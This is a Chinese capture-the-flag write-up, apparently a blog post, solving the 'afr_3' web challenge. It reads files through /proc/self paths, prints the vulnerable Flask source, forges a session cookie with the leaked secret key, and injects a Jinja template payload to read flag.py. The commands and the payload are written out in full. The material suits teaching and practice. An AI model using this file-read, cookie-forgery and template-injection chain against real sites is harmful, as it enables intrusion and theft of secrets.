[第一章 web入门]afr_3

[第一章 web入门]afr_3

任意文件读取,session伪造+ssti

  • 先随便输入,进入页面之后,让我们看文章,尝试使用./,测试是否为一个文件
    image.png
  • 测试成功,是一个文件,所以尝试文件读取漏洞
    image.png
  • 直接读取flag发现不行
    image.png

/proc/self/

[[proc-self]]

/proc/self/cmdline 包含了用于开始进程的命令
/proc/self/cwd 包含了当前进程工作目录的一个链接
/proc/self/environ 包含了可用进程环境变量的列表
/proc/self/exe 包含了正在进程中运行的程序链接
/proc/self/fd/ 这个目录包含了进程打开的每一个文件的链接
/proc/self/mem 包含了进程在内存中的内容
/proc/self/stat 包含了进程的状态信息
/proc/self/statm 包含了进程的内存使用信息
/proc/self/pwd/ 代表的是当前路径

  • 尝试读取/proc/self/cmdline得到
    image.png
  • 尝试读取/proc/self/cwd/server.py
    image.png

import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)
  • 可以发现secret_key在key.py,flag在flag.py里面
  • 并且,/n1page路由下面有ssti注入,注入的数据刚好是session
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']

flask-session-cookie-manager

[[flask-session-cookie-manager]]

解码得到格式
python3 flask_session_cookie_manager3.py decode -c "eyJuMWNvZGUiOm51bGx9.Zg5nDw.Gujas8JJVC9HCDxcyUMfSKL0Sn0" -s "Drmhze6EPcv0fN_81Bj-nA"

格式
{'n1code': None}

根据格式加密
python3 flask_session_cookie_manager3.py encode -t "{'n1code':'{{[].__class__.__base__.__subclasses__()[40](\'flag.py\').read()}}'}" -s "Drmhze6EPcv0fN_81Bj-nA"

得到
eyJuMWNvZGUiOiJ7e1tdLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgnZmxhZy5weScpLnJlYWQoKX19In0.Zg5tbQ.xMI3iaQ8sQIszfzcgF6I-G8Qa9g

其中的ssti语句,读取flag.py内容

{{[].__class__.__base__.__subclasses__()[40]('flag.py').read()}}
  • 将伪造的session放入/n1page路由下面
    image.png
  • 15
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值